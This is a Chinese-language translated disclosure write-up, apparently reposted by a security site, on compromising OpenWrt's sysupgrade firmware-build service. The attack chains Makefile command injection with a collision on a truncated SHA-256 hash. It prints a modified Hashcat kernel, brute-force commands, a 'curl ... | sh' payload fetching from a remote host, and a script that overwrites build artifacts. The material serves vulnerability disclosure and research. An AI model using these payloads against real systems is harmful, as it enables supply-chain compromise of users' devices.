详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链

admin 2024年12月24日13:51:18评论14 views字数 8788阅读29分17秒阅读模式
作者详述了自己发现 OpenWrt 供应链很可能遭攻击的全过程,本文是相关编译。目录如下:
  • 引言
  • sysupgrade.openwrt.org
  • 命令注入
  • SHA-256碰撞
  • 暴力破解SHA-256
  • 组合两种攻击
  • 漏洞报送
  • 结论
详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
引言

几天前,我尝试升级自己的家庭实验室网络,决定升级路由器上的 OpenWrt。访问了 OpenWrt 的 web 界面 LuCI 后,我注意到了一个名为 “Attended Sysupgrade” 的部分,因此尝试借此来升级固件。从描述来看,Attended Sysupgrade 通过使用在线服务构建新的固件。我对它的工作原理很感兴趣,因此开始了调查。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
Sysupgrade.openwrt.org

做了一些研究后,我发现上述提到的在线服务托管在 sysupgrade.openwrt.org 上。该服务可使用户通过挑选目标设备和想要的程序包的方式构建一个新的固件镜像。当用户尝试升级该固件时,OpenWrt 的用户侧就会向服务器发送一个请求,要求获取如下信息:

  • 目标架构

  • 设备配置

  • 所选包

该服务器随后基于这些信息构建固件镜像并将其发送回 OpenWrt,后者就开始将固件镜像闪存到设备。正如大家所知,以用户提供的程序包构建镜像是危险的。如果该服务器正在构建用户提供的源代码且没有正确隔离,那么就会被轻易攻陷。

因此,我开始着手调查该服务中是否存在任何安全问题。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
命令注入

幸运的是,托管在sysupgrade.openwrt.org上的服务器是一个开源项目,该源代码托管在 openwrt/asu上。我设立了该服务的本地实例并在不影响生产环境的前提下,开始进一步调查测试该服务的行为。

读取一小会后,我发现该服务器正在使用容器隔离构建环境,如下所示:

asu/build.py 第154-164行

    container = podman.containers.create(        image,        command=["sleep", "600"],        mounts=mounts,        cap_drop=["all"],        no_new_privileges=True,        privileged=False,        networks={"pasta": {}},        auto_remove=True,        environment=environment,    )

如果逃逸该容器会怎样?不久后我发现源代码中的这行代码:

asu/build.py 第217-226行:

    returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(        container,        [            "make",            "manifest",            f"PROFILE={build_request.profile}",            f"PACKAGES={' '.join(build_cmd_packages)}",            "STRIP_ABI=1",        ],    )

如上所引用的 Makefile 源自 OpenWrt 的镜像构建器,而目标 manifest 的定义如下:

target/imagebuilder/files/Makefile 第 325-335行:

manifest: FORCE  $(MAKE) -s _check_profile  $(MAKE) -s _check_keys  (unset PROFILE FILES PACKAGES MAKEFLAGS;   $(MAKE) -s _call_manifest     $(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)")     $(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))

当命令 make 在执行前扩展了该变量时,包含受用户控制值的变量无法安全使用。例如,如下含有 make var="'; whoami #" Makefile 将会执行whoami 的命令,尽管变量 var 通过单引号引用。

test:  echo '$(var)'

由于变量PACKAGES 中包含由用户发送的请求中的参数 packages,因此攻击者可通过发送一个程序包如 ‘command to execute’ 的凡是在镜像构建器容器中执行任意命令。

asu/build_request.py 第 59-70 行:

    packages: Annotated[        list[str],        Field(            examples=[["vim", "tmux"]],            description="""                List of packages, either *additional* or *absolute* depending                of the `diff_packages` parameter.  This is augmented by the                `packages_versions` field, which allow you to additionally                specify the versions of the packages to be installed.            """.strip(),        ),    ] = []

虽然执行该命令的容器从主机隔离,但仍然不失为逃逸容器的好的起始点。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
SHA-256 碰撞

找到如上所述的命令注入后,我开始查找逃逸该容器的代码。功夫不负有心人,一小时后还真找到了。

asu/util.py 第119-149 行:

def get_request_hash(build_request: BuildRequest) -> str:    """Return sha256sum of an image request    Creates a reproducible hash of the request by sorting the arguments    Args:        req (dict): dict containing request information    Returns:        str: hash of `req`    """    return get_str_hash(        "".join(            [                build_request.distro,                build_request.version,                build_request.version_code,                build_request.target,                build_request.profile.replace(",", "_"),                get_packages_hash(build_request.packages),                get_manifest_hash(build_request.packages_versions),                str(build_request.diff_packages),                "",  # build_request.filesystem                get_str_hash(build_request.defaults),                str(build_request.rootfs_size_mb),                str(build_request.repository_keys),                str(build_request.repositories),            ]        ),        REQUEST_HASH_LENGTH,    )

该方法用于生成请求的哈希,而该哈希用作构建的缓存密钥。但为什么它有多个内部哈希而不使用raw字符串呢?我查看了如下计算包哈希的代码后,立即注意到该哈希的长度被从64个字符截断到12个。

asu/util.py 第 152-164行:

def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:    """Return sha256sum of str with optional length    Args:        string (str): input string        length (int): hash length    Returns:        str: hash of string with specified length    """    h = hashlib.sha256(bytes(string or "", "utf-8"))    return h.hexdigest()[:length][...]def get_packages_hash(packages: list[str]) -> str:    """Return sha256sum of package list    Duplicate packages are automatically removed and the list is sorted to be    reproducible    Args:        packages (list): list of packages    Returns:        str: hash of `req`    """    return get_str_hash(" ".join(sorted(list(set(packages)))), 12)

12个字符相当于48个位,而键空间是 2^48 = 281,474,976,710,656,看起来太小而无法避免碰撞。虽然该哈希并非用作缓存键,但包含该哈希的外层哈希的用途即是。因此,通过创建这些程序包哈希的碰撞,即使这些程序包是不同的,我们仍然可以生成同样的缓存键,这就可使攻击者强迫该服务器位具有不同程序包的请求返回错误的构建工件。

由于我不确定该碰撞到底是如何发生的,于是决定通过暴力破解SHA-256找到12个字符碰撞的方式进行测试。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
暴力破解SHA-256

由于无法找到部分匹配支持的哈希暴力破解工具,于是我决定自己实现。

经过一些尝试和错误后,我成功创建了一个 OpenCL 程序,对CPU进行暴力破解。然而,在测试时其表现非常糟糕,它需要10秒钟才能计算1亿个哈希。这几乎相当于CPU的哈希率,但因为我没有经验因此并未进一步优化。

于是,我最终使用了一款已知的暴力破解工具程序 Hashcat。通过如下方式,我让 Hashcat 打印出了仅有8个字符匹配的哈希:

diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.clindex 6b82987bb..12f2bc17a 100644--- a/OpenCL/m01400_a3-optimized.cl+++ b/OpenCL/m01400_a3-optimized.cl@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO   /**    * reverse    */-+/*   u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];   u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];   u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);-+*/   /**    * loop    */@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO     w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);     w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38);-    if (MATCHES_NONE_VS (h, d_rev)) continue;+    //if (MATCHES_NONE_VS (h, d_rev)) continue;     w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);     wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO     we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);     wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f);-    COMPARE_S_SIMD (d, h, c, g);+    //COMPARE_S_SIMD (d, h, c, g);+    COMPARE_S_SIMD (a, a, a, a);   } }diff --git a/src/modules/module_01400.c b/src/modules/module_01400.cindex ab002efbe..03549d7f5 100644--- a/src/modules/module_01400.c+++ b/src/modules/module_01400.c@@ -11,10 +11,10 @@ #include "shared.h" static const u32   ATTACK_EXEC    = ATTACK_EXEC_INSIDE_KERNEL;-static const u32   DGST_POS0      = 3;-static const u32   DGST_POS1      = 7;-static const u32   DGST_POS2      = 2;-static const u32   DGST_POS3      = 6;+static const u32   DGST_POS0      = 0;+static const u32   DGST_POS1      = 0;+static const u32   DGST_POS2      = 0;+static const u32   DGST_POS3      = 0; static const u32   DGST_SIZE      = DGST_SIZE_4_8; static const u32   HASH_CATEGORY  = HASH_CATEGORY_RAW_HASH; static const char *HASH_NAME      = "SHA2-256";

之后,我通过一小段脚本将其封装,查看Hashcat的输出中是否包含12个字符的碰撞。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
攻击组合

为组合这两种攻击,我需要找到payload,它拥有针对合法程序包清单的12个字符长的哈希碰撞。

我从sysupgrade.openwrt.org 的前端 firmware-selector.openwrt.org 中收集到了程序包清单,并计算出了合法哈希:

$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb  -

该哈希的前12个字符是 8f7018b33d94,因此我们需要拥有与该哈希相同前缀的一个命令注入payload。为此,我通过如下命令在 RTX4090上执行了修改后的Hashcat:

$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing

执行该命令后,Hashcat开始以每秒5亿哈希的速度计算这些哈希。一会儿检查输出后,我发现 Hashcat 计算了所有可能的模式,但并未找到12个字符的碰撞,这是因为我错误地计算了?l?l?l?l?l?l?l?l?l?l的空间。

?l是生成 a-z 的一个掩码模式,因此?l?l?l?l?l?l?l?l?l?l(10个字符)的空间是 26^10 = 141,167,095,653,376,大概是 2^48 = 281,474,976,710,656 的一半。但在计算该空间时,我错误地将其计算为 26^11 = 3,670,344,486,987,776,还以为这样就足以找到该碰撞。

因此我将掩码模式修改为?l?l?l?l?l?l?l?l?l?l?l(11个字符)并任其运行。执行该命令后,我在想如何才能让暴力破解更快呢,于是开始查看Hashcat。不久后我发现当我把掩码模式放到命令前如 `?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh`时,它的性能急速提升。经过测试后,我发现只要改为如下模式,就能提速36倍。

`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`

通过使用该模式,Hashcat 能够以每秒180亿哈希的速度计算这些哈希。在一个小时内,Hashcat 找到了12个字符碰撞:

$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8  -

将该payload 发送为 packages 参数,就会触发命令注入并执行tmp.ryotak.net 处的脚本。我将如下脚本放到 tmp.ryotak.net/8f7018b33d94,覆写了由该镜像构建器生成的工件。

cat >> /builder/scripts/json_overview_image_info.py <<PYimport osfiles = os.listdir(os.environ["BIN_DIR"])for filename in files:    if filename.endswith(".bin"):        filepath = os.path.join(os.environ["BIN_DIR"], filename)        with open(filepath, "w") as f:            f.write("test")PY

接着,哈希碰撞发生,服务器将覆写的构建工件返回给合法请求,请求了如下程序包:

base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd

攻击者可强制用户升级至恶意固件,从而导致设备遭攻陷。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
漏洞报送

证实该攻击后,我通过 GitHub 上的非公开漏洞报送渠道报送给 OpenWrt 团队。

OpenWrt 团队证实该问题后,临时停止了 sysupgrade.openwrt.org 服务并启动调查。3小时候,他们发布了已修复版本并重启服务。虽然这两个问题均已由 OpenWrt 团队修复,但目前尚不清楚该攻击是否遭其他人利用,因为漏洞已存在一段时间。因此该团队决定发布公告通知用户确保设备未被攻陷并检测是否已遭攻陷。

详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
结论

在本文中,我解释了如何通过命令注入漏洞和SHA-25碰撞攻陷 sysupgrade.openwrt.org 服务。由于我从未在真实应用中发现哈希碰撞攻击,因此通过暴力攻击哈希竟然利用成功,让我惊讶。感谢 OpenWrt 团队在如此短的时间内就修复了漏洞并及时通知用户。

 

原文始发于微信公众号(代码卫士):详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日13:51:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链https://cn-sec.com/archives/3498611.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息